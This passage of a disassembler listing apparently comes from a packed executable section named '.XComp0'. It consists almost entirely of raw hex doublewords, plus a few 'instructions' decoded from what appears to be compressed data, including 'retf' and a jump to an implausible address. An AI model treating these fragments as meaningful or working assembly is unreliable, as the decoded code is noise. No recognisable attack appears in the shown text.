		dd 2F53AE05h, 9501D888h, 3220BC64h, 57E91B75h, 9FB1EF45h
		dd 5B36D74h, 376D77B3h,	0EC40C2BCh, 39D10968h, 1BF87A3Bh
		dd 47C91909h, 125EFCFCh, 0B8EEA071h, 375B533Eh,	2F487E07h
		dd 0EC0970D0h, 803C200Ch, 543D757Dh, 8418DD3Eh,	0ABBF6BEEh
		dd 0DD680870h, 957B327h, 24F975DCh, 8129E680h, 1260BE7Bh
		dd 0A0F04B7Fh, 0AD6058D9h, 0C734C3F7h, 0F58F7B0Fh, 0FEF8126Eh
		dd 4A15DD68h, 0D0EBA9C2h, 0C1FD3EA3h, 927EAD2Eh, 0CE10E2EDh
		dd 0C8B6177Ch, 28D107FBh, 1964C2F5h, 6809F7E5h,	0E9752179h
		dd 0C53C6612h, 0ABD3E7C4h, 0B9BA0E24h, 24E24B7Eh, 6FCF9D5Ah
		dd 74770200h, 9BE6ADEh,	792F8BCCh, 0A050BF63h, 0AE39BB29h
		dd 0B9F134E8h, 0C8F113C4h, 0C4CCE33Bh, 0B8129173h, 0BC5C18EEh
		dd 88492FBDh, 0A7A8FCFBh, 8C1245F1h, 16EFC6DDh,	5D2EFC22h
		dd 81F61050h, 0E688520Eh, 0F552F34Ch, 4FF7C140h, 0B58D91D5h
		dd 0D7158089h, 4A68FD87h, 646FC413h, 1E921EDCh,	826789EEh
		dd 0E40257FEh, 1326785Eh, 0E9B2BCE9h, 0E58010F0h, 0F079B57Fh
		dd 964E13BEh, 0B6E773E8h, 0C34CD9ACh, 491516B9h, 3DB82A01h
		dd 0F37F0E6Dh, 0E93E61C2h, 6130F418h, 7E8241A2h, 417458E2h
		dd 8A563BD7h, 0B0563804h, 285BE00h, 58F25905h, 7FC81A9Fh
		dd 4E30BD81h, 0EE7F706Eh, 4A4FE277h, 6642DDA4h,	8EF3B187h
		dd 5F6A4A95h, 0C3178BFBh, 84DB8DC7h, 0CCAF4E15h, 644BB5F9h
		dd 0F53C81AEh, 0AD6600Bh, 59EA881Eh, 0D0FBC257h, 0CDE9199Ah
		dd 8949A24Ah, 47058087h, 0B0400A2Ch, 0ECB1318Ch, 0DCF028E6h
		dd 0A0B78ADBh, 0A00DFE95h, 0CA010A7Ch, 3F08BD55h, 2FDBC202h
		dd 28FF5E22h, 5E25084Ah, 6A30113Eh, 4C0360D2h, 0CC2CE55Ch
		dd 1D04609h, 1447D295h,	0D4981529h, 0FF78137Bh,	438EAB71h
		dd 0F6020317h, 8A09176Ah, 0D9C01EE8h, 0EE30A6B6h, 61A2E7B5h
		dd 24738D68h, 0FF41052Eh, 1BC09A87h, 4EAA1C4Bh,	6496A0CFh
		dd 5BC4057h, 0B105184Ch, 844D9A79h, 18888412h, 10690C08h
		dd 0C57D5D27h, 0BC680903h, 0E5DCEEA9h, 17BB38ECh, 0D42E4653h
		dd 5E0809EEh, 7DA0CC55h, 17E91559h, 52182644h, 0ADF31655h
		dd 0EA822694h, 61BE63AAh, 447AC2B9h, 0C2FA0182h, 73D5E6FEh
		dd 0BAF4A691h, 35585908h, 0D6DAE125h, 3220CBF0h, 5A85D131h
		dd 29CA23E0h, 0F324E3B3h, 28589A40h, 0D0F7166Ch, 765F0056h
		dd 0E940DF3Fh, 59987925h, 467D6908h, 5AD72F23h,	459F1A93h
		dd 2BA7EB51h, 0DB77E909h, 0C3DDE87Dh, 5BCAB5DDh, 0A69B4075h
		dd 7E902677h, 759610D5h, 348EDE30h, 18E0D35Ch, 1B37F668h
		dd 4381C6A0h, 0F0F22030h, 0BEAE4F15h, 9917AB1Dh, 2AFFD9BFh
		dd 53D0DE13h, 9D5F33E9h, 0D8DA913Bh, 0F581895Dh, 77A71CE5h
		dd 8E91B8A2h, 54793F66h, 483364Eh, 64C1FA5Eh, 7068EA23h
		dd 78B2BF74h, 576D075Fh, 0AE7CAAE0h, 0A55F4A42h, 3A6E25B2h
		dd 9F58580Dh, 763C7BE5h, 28A1AE40h, 0FAEB834Dh,	2F44B785h
		dd 860EEA05h, 0D382D07Ch, 0CA67A9Fh, 6F21408Eh,	304790Ch
		dd 0FE94AEBh, 0E7BE4095h, 99BF4B96h, 8EBB60E3h,	0C9D9FC9Fh
		dd 4D9DD955h, 84682C0Ch, 96E08CE9h, 230D0540h, 876F508h
		dd 0DC27D3BDh, 80FD03C0h, 0A7E115EDh, 672EA495h, 800F5909h
		dd 74B22D6Eh, 283D76E1h, 20705E8h, 52C5355Dh, 7BFF3B75h
		dd 5060253Dh, 7103BE56h, 294BA463h, 0BFC620F3h,	81A65C5Ah
		dd 6B7E3B10h, 0EE2B7578h, 75A26A70h, 60006ADDh,	4B744707h
		dd 9905EBF2h, 0C1C9A2B5h, 2533B8ECh, 59DC58C5h,	50089002h
		dd 1CFE55E7h, 350475B9h, 26A0741Fh, 5277C0EFh, 2A5BEEE9h
		dd 2E4195C9h, 0A9BF8D63h, 46CB1093h, 0B9595B13h, 2C51DDF6h
		dd 45A52A59h, 2BD0A17Fh, 538B2BECh, 7FCBCDD6h, 0EA7DCC2Bh
		dd 0B27800Bh, 0F6348D52h, 0E3EF4EF4h, 41EA0358h, 4196E13h
		dd 0A7E7928h, 4FD6872Ah, 873FFF61h, 315C20F9h, 8BCFC9E9h
		dd 0A0E98308h, 0B2F2B35Dh, 0B66827ABh, 0DCAD98F7h, 209F2815h
		dd 3F980395h, 0CA29097Ch, 59087440h, 68136DB0h,	0C56048EEh
		dd 0C0703729h, 22F5F688h, 38C10AEFh, 61CD0B80h,	0F3314E61h
		dd 7E1C0806h, 49ED3FCAh, 474FA34h, 0BA5E5F08h, 6029BF28h
		dd 1D3E36C2h, 681341B8h, 0D8A375C5h, 32508C42h,	170F0385h
		dd 0D6F74E23h, 0B10B989Eh, 0F7EA348Ah, 6C48E441h, 63BB3488h
		dd 18B796E0h, 0C7A2213h, 45254946h, 0F8C9D803h,	7422540h
		dd 0DCDEE2FFh, 0CB01C22Ah, 130DA1E2h, 0C20060Ch, 88512C80h
		dd 0B5CC172h, 0F31C2D60h, 0E0FEAD33h, 0DCB03B93h, 0FC0B9D5Dh
		dd 26E3E575h, 64BE0B59h, 0ADA0D668h, 1FD7D083h,	3160055Eh
		dd 0FD3C8BFEh, 0E6B6B473h, 263DE010h, 77179959h, 0D3B71AACh
		dd 1A5BD96Ch, 6220A5F1h, 0E42D0413h, 80DF293Fh,	965EDC72h
		dd 0E94B6205h, 0A7AFF7A3h, 0DFFC6B5Dh, 6525836Dh, 0A9E98450h
		dd 904CFF27h, 0E9306D1h, 1B65266h, 5A07BB1Eh, 0E16BB753h
		dd 9C503EE7h, 5CD6E971h, 0D3D761AEh, 0D0D93B1Bh, 0B53279E8h
		dd 387F4B19h, 3C8C48A1h, 0AE2C3980h, 0CF1ED7EFh, 76CC71Dh
		dd 0BC2B5D49h, 98D84C5Dh, 0B35E5F9Eh, 647A13FEh, 5F1628BFh
		dd 4E5BEAFAh, 8AAFC565h, 62792D49h, 53E0D70Dh, 801F36B5h
		dd 825790CDh, 0E0688CA1h, 2592BFF0h, 29710509h,	5882DEFAh
		dd 76BD8AF0h, 93BC4D1Bh, 84BF5813h, 197CBEA9h, 0CE6B76Ah
		dd 0D3BF499Ah, 92E96185h, 0AE323A43h, 0D38018C5h, 27AB80D7h
		dd 984DA33Ch, 9EFF144Ah, 702E253Dh, 0CA565289h,	94FE4FCAh
		dd 0C700B35Bh, 795A6F22h, 69FED701h, 5B3B424Dh,	0E3246FE9h
		dd 8B058104h, 6B73794Dh, 670164E6h, 16B3012h, 0BC8C6B44h
		dd 316041FFh, 0B4A22ACAh, 2CABEF29h, 25624AFEh,	6C2833C5h
		dd 0F4887912h, 67B727B8h, 1EC30BDh, 504B5368h, 0BFA554B9h
		dd 0A42D51DCh, 9F8F98ABh, 0DA09EF7Bh, 0D54232B7h, 229338F1h
		dd 0CE7A95B1h, 64FE4F46h, 0EDB9BB94h, 0D3CA4885h, 0EBBFF18Eh
		dd 0BA042ED8h, 0FBD1CCAEh, 3F842B80h, 1532C92h,	0B708A03Eh
		dd 229D1264h, 0F79A6599h, 6615F771h, 25563FDBh,	205ACCA1h
		dd 81016218h, 0F148EFEDh, 1A680142h, 0E8D71B17h, 0D964A15Dh
		dd 90FA9254h, 0D2501C5Bh, 0C2AB074Bh, 79DF5983h, 837492E6h
		dd 1FA8055Fh, 0E5983BAFh, 0FFAC8C98h, 0BD9FF120h, 7A124754h
		dd 0CF21A080h, 0B8500E59h, 6CA01146h, 0FF5E7005h, 0E8836A17h
		dd 0F42E260Bh, 7A9E40A7h, 294831F8h, 28321059h,	68515B09h
		dd 4526FCC4h, 135B0A2Dh
		dd 0C5C3310Ch, 4CECA983h, 2B4F0273h, 63E943A3h,	0BE2E1EEEh
		dd 49C90175h, 36487468h, 116F1346h, 148122ABh, 0AC12BFFCh
		dd 20ABC4B0h, 2C26E828h, 9D45C4F5h, 5E3E0h, 0FA152FDh
		dd 7AB48F35h, 2309F7Fh,	0DDF1B1DAh, 58D50B36h, 6F05CB89h
		dd 1338AD7Dh, 75AE4757h, 0B89E2867h, 2E2FB95Ch,	151CC975h
		dd 0D427D40Bh, 0EEE0906h, 25D3407Dh, 0FA4E01D2h, 8863531h
		dd 749C4138h, 95CE6AC2h, 30A7573Fh, 52AC5360h, 1A225148h
		dd 5E120E16h, 2892614h,	4FDBC2F9h, 7B8F855Fh, 0B70F4F8h
		dd 49AB68D8h, 0C55F3330h, 82821E94h, 7776D26Eh,	2FB43EC8h
		dd 0BA213137h, 61B57B51h, 89508528h, 0E0C3A2C3h, 0B83F2D48h
		dd 977752Bh, 5C537E48h,	7430855h, 5B11D03Ah, 5604872Dh
		dd 86E96255h, 0BB0071FEh, 606718E1h, 0E5F33481h, 51B1EA0Dh
		dd 0C9BAE22Eh, 0BD7A5842h, 564E8214h, 2FBF8FBEh, 0AAFC105Ch
		dd 64C88863h, 9C25882h,	51AC2587h, 599805Fh, 0A373882h
		dd 2DC8293Bh, 0E9493007h, 1295ECF5h, 89ED84CAh,	99E1DF8h
		dd 9A5FD487h, 0C8D3D7A0h, 0E9F061A4h, 0E6115AFDh, 38E982A0h
		dd 0BD0966C3h, 0F9EB3468h, 4DB16880h, 358B4B4Fh, 8B7CD929h
		dd 0C915D1CFh, 5D258519h, 0FD7199DDh, 5B12AA2Eh, 3C59BE2h
		dd 81FE99B8h, 36C7BA50h, 5C6E5549h, 0F705C7BEh,	4A6099DAh
		dd 7F006314h, 825E23BDh, 0B224E9A6h, 38B20FCCh,	0E82ECA28h
		dd 4174129Ah, 2515C62Fh, 0A5C5B53Bh, 9AD1770Bh,	7471FFFDh
		dd 68520973h, 0E7184E6Eh, 0BAF45551h, 6091698h,	0ABB6F8E9h
		dd 7B9ED778h, 8385EE4Eh, 0B7024A28h, 0C668E0D9h, 0BAA31813h
		dd 34AFB34Eh, 0BEEDFD9h, 9E965B67h, 1C470916h, 498668FDh
		dd 5897FE86h, 706CFF4h,	0E978D569h, 78AE7CB7h, 5D828B9Ch
		dd 2D11C622h, 0EE62C3D6h, 0E6A60E2Ch, 0F24B3576h, 8DEEE284h
		dd 40A82EE5h, 0B16F82B5h, 97983F66h, 3CE74155h,	0CB2AADFDh
		dd 0C6F1467h, 76A50718h, 0CAB33AD5h, 0F83D0B6Ah, 0E6D7CE04h
		dd 0BD5B2447h, 880B6F53h, 0B0389658h, 6A35C73h,	8A586602h
		dd 146816A6h, 9961BD29h, 0A4362214h, 33C11010h,	2E801028h
		dd 1007359Eh, 595F0575h, 7582DFF7h, 9424601h, 386A1BA2h
		dd 8F728D5h, 93E95902h,	0B42277A3h, 88045DCDh, 772C47C0h
		dd 52C80F28h, 5EE4A3B2h, 7B63B7C5h, 11707624h, 790FCA5h
		dd 4256C8F1h, 0DE795165h, 581956AFh, 5FFA1EEAh,	3268790Ch
		dd 4ED95310h, 0F072EECCh, 9FBFD0DDh, 1F27D970h,	0C9AC9B90h
		dd 8C3F6ECBh, 26619992h, 5A66D33Dh, 3980C3C0h, 5BF509EBh
		dd 96B0B03Eh, 0CFF8234Eh, 91C17AC4h, 6E08E76Ah,	0A4CE7CD0h
		dd 0BABF4ECCh, 3113C506h, 38F105C3h, 0C520D748h, 0F00823C2h
		dd 2817C6B9h, 8668C234h, 332FEC74h, 0CF312BE4h,	3930F6B9h
		dd 41B0277Bh, 892F5AA2h, 83BBECE4h, 0D85922CBh,	7E2117BBh
		dd 0B8DB00D9h, 9397F83Ch, 9B41ECB8h, 88C1527Ch,	0E48059CCh
		dd 20F9FE68h, 6FE19447h, 0ABB43DA8h, 52A2F6F8h,	42A07375h
		dd 0F7DEAFAAh, 0E2FBB864h, 852D78A2h, 0A0A8FF8Dh, 0CEC70BA1h
		dd 0C6093A1h, 0E1D7CB1h, 0A4792DE8h, 3CE87426h,	5D09F7A6h
		dd 0F01BF978h, 0B4251349h, 165CAC18h, 5F29442Ah, 6F66EDh
		dd 1239BB59h, 0FBB03B50h, 0BE596402h, 69FEE973h, 0F2700163h
		dd 41B741F4h, 83C37287h, 62C6EA51h, 0AECC12B5h,	4F33882Ch
		dd 2FAD14Dh, 0EDF1770Eh, 0C3EC7551h, 0F16D0A27h, 54A042F4h
		dd 0BADD0103h, 5A1D48B4h, 0A1E2768h, 4965FC98h,	0C1ECAE5Eh
		dd 44332A04h, 50C2AE08h, 3189F719h, 42077355h, 5B7DF9ECh
		dd 5580CF0h, 2D02F87Dh,	4B0E7629h, 2C86FC5Fh, 0C27313F7h
		dd 258B5C69h, 0C195F37Ah, 8004453Ch, 0FA38E733h, 0CC89132Fh
		dd 0F2811BFAh, 505F1DE3h, 0D5495D0Bh, 3F7F14C1h, 0DD253300h
		dd 0F6113734h, 7539772Dh, 0C1FA014Dh, 0C701A0EFh, 0E5B37A58h
		dd 962D2394h, 8A5DD1C2h, 0A2316DB4h, 0BB2E01B5h, 0F07A0D2Dh
		dd 404E2D30h, 814CBEA3h, 0F282E319h, 0C2012A29h, 13F23ADh
		dd 4BD9CB3Bh, 0BA464FEh, 81A296E0h, 84093186h, 88FF936Bh
		dd 803B5CD7h, 0E7C009F7h, 0C2218903h, 9F46DD73h, 0DC01CAECh
		dd 0E9471A11h, 497BD74Ch, 0D584D475h, 0F851F15Bh, 0D1C3101Ah
		dd 0F134E168h, 402BC784h, 0A24D3080h, 0A009BD21h, 7786915Bh
		dd 0B44408A2h, 40E471D5h, 132A4EC6h, 0E909E2F8h, 196D08h
		dd 87F07938h, 0FBE097DFh, 0D49CD631h, 0B0E6C150h, 0CBEB69FCh
		dd 5120D958h, 7EBE049Dh, 0C31C3621h, 7F07AF60h,	557C46F6h
		dd 9D80C3Ch, 501A8E5Eh,	0DC868275h, 9F5096Fh, 77EA7DCBh
		dd 97060DDh, 0F222B5A0h, 4657ADE4h, 21515E8Ch, 3B4BBAE7h
		dd 0D21749B0h, 63DEFA9Bh, 2FD46809h, 0E9505DD6h, 312DC71Ch
		dd 46E827C8h, 553408C5h, 0D1EA2BF7h, 0C2D6BB3h,	23E91554h
		dd 5C275220h, 0D52CB2D7h, 0B82F826Ch, 0C1F293BCh, 317B4BF7h
		dd 3FD5947Ch, 0D84987A7h, 0C8BE0F82h, 570BDA74h, 47228451h
		dd 3CC005A8h, 0E9608E05h, 12B18527h, 17664CDh, 0A81BC897h
		dd 7BE680E9h, 52B9E38Ch, 470254Dh, 3119C27Ah, 6CDEB6Ch
		dd 0E145B23Eh, 0B53D5548h, 2D66FDA5h, 0D503C254h, 0E3E6786Ch
		dd 38E46C97h, 0EF4ACC15h, 9DC3F63h, 125CBB23h, 33C64820h
		dd 1040DB8h, 9179E9DEh,	42897BA9h, 0B18C8478h, 5A8661BDh
		dd 2D7B5290h, 0FFDD05Dh, 816F7934h, 0AA07DFA0h,	0CB4A294Ah
		dd 287EDAEEh, 0B97D4E9h, 28CF7562h, 8D6E911h, 622DEF50h
		dd 0FE477D78h, 9AA47525h, 828CF25Ch, 0AA617468h, 0C500124Ah
		dd 0E95DBB47h, 492AB2A4h, 5F7F2566h, 12AEE54h, 1AFA8B5Fh
		dd 429372AEh, 76521A1Fh, 92130AD9h, 9655AF19h, 0E908FB68h
		dd 7E9573B8h, 6DC8703Dh, 68754304h, 548D3E03h, 1854A020h
		dd 0C729325h, 166143E4h, 3E9F51Eh, 0C4F8E87Ah, 9DA1DC68h
		dd 0BDE349F8h, 42F1A4ABh, 942F04A8h, 0B48C4883h, 5727266Ch
		dd 979D28CDh, 16B54496h, 95327928h, 504A42C4h, 42E55EECh
		dd 0CFE2E90Ch, 5EF754E8h, 7A5576B5h, 2EBFF341h,	0BE927ABCh
		dd 0C060E2C9h, 0BA914A68h, 0E91358CAh, 0AA00C559h, 8277C544h
		dd 0AB01530Bh, 0F7EF8804h, 7EF1F99Bh, 589395Eh,	0A926DDAh
		dd 0F4D45FAh, 668CAA18h, 7B7F4134h, 0F7C11CF2h,	7ACA87D9h
		dd 0F726EE14h, 12B1069Ch, 0E8667641h, 1074170h,	7C344BBh
		dd 2DD32963h, 83C898BAh, 6E1E88C1h, 0B7CA0B1Eh,	72A57C17h
		dd 5BD93A8Fh, 879DCEB4h, 0D446E98Ch, 0D582727Eh, 329452E0h
		dd 517ACF20h, 0C2E6201h, 0E91D9AF5h, 353EDA30h,	1314FBB8h
		dd 0E9404C79h, 0AD0313Fh, 0ABE02D08h, 0F8F95A0Fh, 0DEB15AA2h
		dd 9868820Bh, 0E95302BBh, 0B34C28C3h, 0D5DC1025h, 0FE97AC68h
		dd 0D837B82Dh, 517620AEh, 6DB03150h, 8FB92E4Eh,	73DFEAD3h
		dd 20174E17h, 9D5FA4F7h, 5905645Bh, 0F9958F55h,	1A598ABh
		dd 28ED53BDh, 190D0941h, 0D58A0AA7h, 0F5F6A5ABh, 497E23C3h
		dd 5710DD17h, 55592D4Bh, 240849A9h, 0FD48495Eh,	0B9803F20h
		dd 627002A3h, 59CD3105h, 682467Ch, 99EA7E9h, 1742010Eh
		dd 3EE06DEDh, 0BD0268F3h, 0E9F12146h, 5065831h,	12FDBB9h
		dd 41ED5F40h, 8D5259F8h, 69FA9531h, 41FE5BD3h, 0D86EC55Ch
		dd 3F73307Bh, 84279117h, 0AB5B2CF8h, 0E6211B25h, 49728FADh
		dd 6B014605h, 0A1B8C06Eh, 1F7CE256h, 77D6E304h,	0F0EE2407h
		dd 55175AACh, 1BAD3C1Ah
		dd 147D5B05h, 0BAC5AB77h, 112F5FCh, 9D28AAF8h, 0C2100347h
		dd 0BAA9E903h, 6FBF7802h, 63297514h, 0E853CA24h, 2447DA16h
		dd 1B10E39h, 0D90A2FC9h, 0BE836E02h, 1084AFE9h,	6417480h
		dd 242B7A92h, 0C2F572CAh, 68077D3Fh, 0F5F33135h, 4A6E4E7Eh
		dd 3132CF1h, 47975C84h,	0E6E81FFAh, 0F973C180h,	0F1E0FDF2h
		dd 9FB05009h, 0AF378F04h, 8E2D1258h, 97910D30h,	71C965D4h
		dd 4D950249h, 0C3D7790Dh, 270D5041h, 62A325E9h,	0A2959B66h
		dd 4C4B450h, 0A5009001h, 67253345h, 0ECCAF55Ah,	27A8C4DDh
		dd 20757CC4h, 220FE3B0h, 4B6E7D3Fh, 48DF2CFh, 65BA13ADh
		dd 0C051E1C2h, 2E73551Dh, 10547C0h, 3637A0F6h, 0EB0C824Bh
		dd 0C1648433h, 5D80D213h, 40592DD8h, 2505615Dh,	516A6C33h
		dd 0C102F5AEh, 82BA92FEh, 1CBFF29Ch, 16B62059h,	5FD1F457h
		dd 0CA02F9B9h, 0F8266C70h, 4C8320B5h, 0C8BBAD4Bh, 956078E1h
		dd 8B5C6C9h, 0C5C62A4h,	37424CE0h, 12EEAD5h, 702A6808h
		dd 1B41D066h, 12DA2420h, 0FC707646h, 0E82939B9h, 0E9050B3Ch
		dd 0D0A95BF4h, 0AB56DFCFh, 0E90D748Fh, 30189FC5h, 98408C40h
		dd 7BC93980h, 1F9AF19Ch, 242356C8h, 3B830132h, 75139F6Ch
		dd 0E90700A7h, 41CB5538h, 56F74CDh, 0AFE8303Fh,	0EDC05EB4h
		dd 0B6D976BBh, 18DDC950h, 4CF852F0h, 77092D06h,	8D9016Ah
		dd 2E280820h, 7FDBC925h, 4D801232h, 25842054h, 8234729Fh
		dd 0AA27FC08h, 2E525D4Eh, 109BEC93h, 0F07F6C0Ah, 37595CCFh
		dd 8DF401B4h, 3EC85FFDh, 0C2F15BC7h, 2DCC7B0Fh,	5157EC01h
		dd 0EAF808BFh, 0FF161B9Ah, 2C402E77h, 5830E908h, 0AEF6F5DFh
		dd 0E00B123Dh, 865EBC29h, 0EC754A31h, 5439797Ah, 0A3C18417h
		dd 0EDD8E908h, 0B9839E78h, 498A1B36h, 8632A161h, 5DE9310Dh
		dd 0AB7138Eh, 171412ECh, 390CF9F3h, 12510233h, 0FED14E5Eh
		dd 7E6C01A1h, 3E89598Eh, 10B15FE4h, 9039972Dh, 485B2D08h
		dd 1A4ED056h, 0B6E97E31h, 0BB812453h, 68A93C45h, 8C5FEB2Eh
		dd 92620C2Fh, 0F9B74F7Eh, 6E6D8432h, 0F6E4D000h, 0CC4EFEDCh
		dd 356080AFh, 0E92FE528h, 0F59C625h, 9AB4D7B3h,	0BEE29689h
		dd 13826FF7h, 863E2108h, 0F3B8047Ah, 0F267568Fh, 0EE120EBEh
		dd 0B900E92Bh, 88D597Dh, 0A60284B8h, 93E9F772h,	0FBD26892h
		dd 1D02477h, 0CF161Ah, 0E91C951Bh, 3B928466h, 3124597Eh
		dd 5A92C55Ch, 92B07041h, 0DFE4B2B5h, 0B5A79AE5h, 53BD5783h
		dd 2F043B12h, 486E600Bh, 490E47B5h, 0BC4E5086h,	0AE87846Ch
		dd 4E94F3BFh, 0C4AF73C5h, 20BD31DDh, 0ECBF002Bh, 560F165Eh
		dd 6804AB31h, 99BEBE2Ah, 2B4FFBEh, 0D558C521h, 0C1935359h
		dd 88F08353h, 66164C18h, 761F68C2h, 506064DEh, 166DD02Ch
		dd 30C149E9h, 80AAB47Bh, 0D6FCF42Fh, 242524D1h,	0E6F51E53h
		dd 5A660158h, 26724068h, 58963805h, 5F3949EAh, 0B75058BDh
		dd 683D24E5h, 0BE570B40h, 1C5017Ch, 3F4CCCEEh, 0E6ABA2D3h
		dd 0BA680A49h, 0B7823652h, 78C3E90Bh, 88719FCCh, 1731D469h
		dd 532182D1h, 5F4AE255h, 71BF68EEh, 41100BEEh, 56B5EEFAh
		dd 39E95049h, 3115A0B6h, 4BC72DBBh, 0D00C4F10h,	0E9EF011Ch
		dd 0F5EDD75Ah, 0C3746405h, 3AC0813Ch, 358C2FBBh, 48994D17h
		dd 52ECCE02h, 1772B87h,	0B141F102h, 97D9221h, 0A95EE02Fh
		dd 0D98909D2h, 0F2C39397h, 0CFCF3A54h, 0BCF0C431h, 7BE475A0h
		dd 0B0226429h, 0F639ABCCh, 0AF96FC38h, 78A924D1h, 667FC512h
		dd 7BD19F6Fh, 87ED4F3Eh, 0A6985F2Fh, 2300FE68h,	315E401Ah
		dd 54E8E9EEh, 59779584h, 3880BC6Fh, 0D1531467h,	0CED2E15Eh
		dd 1537023h, 36F5805Ah,	6D282EB6h, 19E90899h, 0AE581790h
		dd 9C277A2Ch, 0C4A171Fh, 4F0C9ABCh, 5F7C24C1h, 0A06AD1FAh
		dd 715A1617h, 0E6F215C8h, 0BB782C63h, 0A0592704h, 53E9D102h
		dd 1E51D7D8h, 0CA63CA6Fh, 0C1AE6698h, 0C8300308h, 4CB65259h
		dd 2FDE6899h, 0D5C4DAF8h, 8AFA12BAh, 3AA64B04h,	0ECD3A54Dh
		dd 46018726h, 8CA8120Eh, 24B2FAA5h, 0AF38B93h, 4B587368h
		dd 299412BCh, 0EC00DFF3h, 0C126CD34h, 353C05E8h, 0C9E1738h
		dd 6137F441h, 73607C49h, 144B0B4Eh, 22595E66h, 0BFFCD3AFh
		dd 601AF1DBh, 0B702BCA5h, 6668894Bh, 0F24D910Ch, 5E5FF06Bh
		dd 3B1E92Dh, 0B95753E8h, 0CA3483D6h, 4CB52D68h,	669D8494h
		dd 0CE59BD77h, 92BFB63h, 505BD837h, 0F5805932h,	0EB323EF2h
		dd 40E9691Eh, 0A50D7125h, 0EBF298D5h, 0FEBAB59Bh, 0F56CE8F5h
		dd 0BB7D16DFh, 227587A3h, 57A8B68Dh, 91F0199h, 7A5E4734h
		dd 8D02C1CDh, 7017E0C9h, 2DE4129h, 817F5B08h, 32081B53h
		dd 0BF71420h, 426A0E95h, 0B9299E80h, 0E9126526h, 79C96243h
		dd 0AF44FE2Ah, 0D25B76C2h, 92C9A0C1h, 78066610h, 1F0A5ECAh
		dd 0D25076F1h, 28B12171h, 0E065E0DCh, 23B92EC0h, 0F4150F01h
		dd 147B6BB7h, 905E07Fh,	0A83CC766h, 33F50BA5h, 0F044D9E8h
		dd 0EAD8962Fh, 80065F0Eh, 0CF929F54h, 7CB986B0h, 39412D75h
		dd 0D12C2176h, 0FC36B802h, 4586404Ah, 428B0BD1h, 9905C101h
		dd 7836E267h, 62C02D37h, 76134CD5h, 676C8044h, 4B44C198h
		dd 2022AFF5h, 0AD47C98Bh, 0C001E22Bh, 5E2F7790h, 5FE8092Dh
		dd 0FB5C3F98h, 40C80720h, 0E4D5256Ah, 1455F6F8h, 0AB68DD64h
		dd 2CE1B407h, 0E036B4CCh, 0B23C52F5h, 0C21E2FDFh, 7ACEFE3Ah
		dd 0E9053BDCh, 6C8AE576h, 0EC30BF4Ch, 295EF2EBh, 0FE9C5F9Dh
		dd 7500A1h, 487BA52h, 0F7329F26h, 0B827C5DAh, 0E50D0F65h
		dd 682E582Dh, 0E410B733h, 0B73E38F9h, 0C2302F60h, 10FE6276h
		dd 82EE35BCh, 63AC5880h, 17A7CDDh, 0D46771FAh, 0E562511Ah
		dd 67E956A2h, 95EA252h,	2D8017FBh, 5C9C589Dh, 74E23268h
		dd 26D42ABFh, 19D00025h, 0A2435256h, 0A060AADh,	0A1FEF88h
		dd 25EA8068h, 2537CDD7h, 5D151AF7h, 0FD5AF3F4h,	6F208534h
		dd 0E2303B6Dh, 0E998598h, 4F027605h, 0D001624Eh, 4ADA4152h
		dd 135827E0h, 8D8445E9h, 10F7FEE7h, 0CCC509BCh,	0D1119624h
		dd 0BDE758C4h, 0F4C6B2FCh, 0F60E8D2Fh, 54AF5855h, 0CEBB05BCh
		dd 26C24F56h, 0FA7409A5h, 2E433282h, 50A96025h,	7E9FDFh
		dd 4EC8D449h, 4983432h,	0A2BCF9CDh, 45A85FF3h, 0FAA3EAF4h
		dd 4A7490DEh, 0A210D7AEh, 1CFB94ECh, 0F8133391h, 40C5B416h
		dd 41D26BF0h, 132DE101h, 872D318Bh, 9E200841h, 1252E67Eh
		dd 4209E90Ch, 192E6843h, 7887987Dh
; ---------------------------------------------------------------------------


loc_504340:				; DATA XREF: .XComp0:off_43FE00o
		jo	short loc_50438A
		mov	dh, 42h
		push	ss
		sub	[edx+106CCEAFh], ch
		mov	cl, 8Eh


loc_50434D:				; DATA XREF: .XComp0:off_43FDFCo
		add	[ebx+71964779h], bh
		shl	ebx, 0B0h
		pop	eax
		pop	es
		retf
; ---------------------------------------------------------------------------
		db 0Bh,	63h, 54h
		dd 0C7EB637Bh, 0C477F6A2h, 7EB02565h, 4AD2A4E6h, 0BF5FADF0h
		dd 14278753h, 0A2564E0Fh, 0E7BE00D4h, 2D70EC1Fh, 0D30802F2h
		dd 32AF6869h
		db 0A1h, 18h
; ---------------------------------------------------------------------------


loc_50438A:				; CODE XREF: .XComp0:loc_504340j
		jmp	near ptr 0E28A6970h
; ---------------------------------------------------------------------------
		db 2Eh
		dd 12A1FD40h, 0FE1A0957h, 0A041FDB2h, 3502663Ch, 82581E33h
		dd 0C88C697Fh, 984D0224h, 0BECA0905h, 0FDDF4DAh, 70BCE939h
		dd 0BF5EE6FCh, 97BC8DCh, 639AE9EDh, 7CA754DBh, 6E35000Dh
		dd 39BD5497h, 1CAE0BD2h, 0E9EAC30Ch, 5712B722h,	530101C5h
		dd 65410EFEh, 866A060h,	29AFC473h, 88FDD12Dh, 0D027D71Eh
		dd 0C44D138Eh, 0CE7B0772h, 0BECCF259h, 57A7FCFBh, 4E392A21h
		dd 0B7816E2Ah, 51CC22B2h, 0C3D6BF46h, 0C939F5A5h, 0D6C3291Fh
		dd 5840C08h, 0A35ABD68h, 24F77F1h, 0C0A4A4BCh, 78500ECEh
		dd 10EF264Ah, 0E92808EAh, 80CA99E8h, 51D5B353h,	0F6BFDD88h
		dd 3982724Bh, 9477B829h, 0FD1030D9h, 0BD55564Ch, 531E200Bh
		dd 144B8A74h, 0F0FCED01h, 0D46AA298h, 24C5BEA3h, 0E9C2B4B2h
		dd 37824C69h, 9092AC63h, 0B638FADFh, 60DF8C6Eh,	805CD983h
		dd 4F5B3AD3h, 7ACB7FA0h, 7BE30059h, 5092B151h, 813E9B0h
		dd 4EBA58C1h, 0E16467CBh, 6089BB86h, 2ECFE53Ah,	0D3752A52h
		dd 207C2FAh, 0F42DC8EEh, 722CE921h, 9F4E97Ah, 5ED0D8F7h
		dd 4DD60226h, 0D1FF731Fh, 0DBF46C82h, 31541758h, 5AD3898Eh
		dd 169D1533h, 386CBB7Ah, 0F3BA4DDDh, 0EB505114h, 0CB8EA05Bh
		dd 0F26C28B4h, 414E2FCCh, 6DE10FC8h, 35D51513h,	0D05001FCh
		dd 0F82D134Ch, 0A37C0002h, 2943B9CCh, 0EF9AD161h, 20E57CF2h
		dd 8136C520h, 52C92F05h, 0B25C942Fh, 489D09Bh, 77186588h
		dd 0E9F180EBh, 189F1A3Fh, 0BB8D0B51h, 8AC20284h, 9856ED5Fh
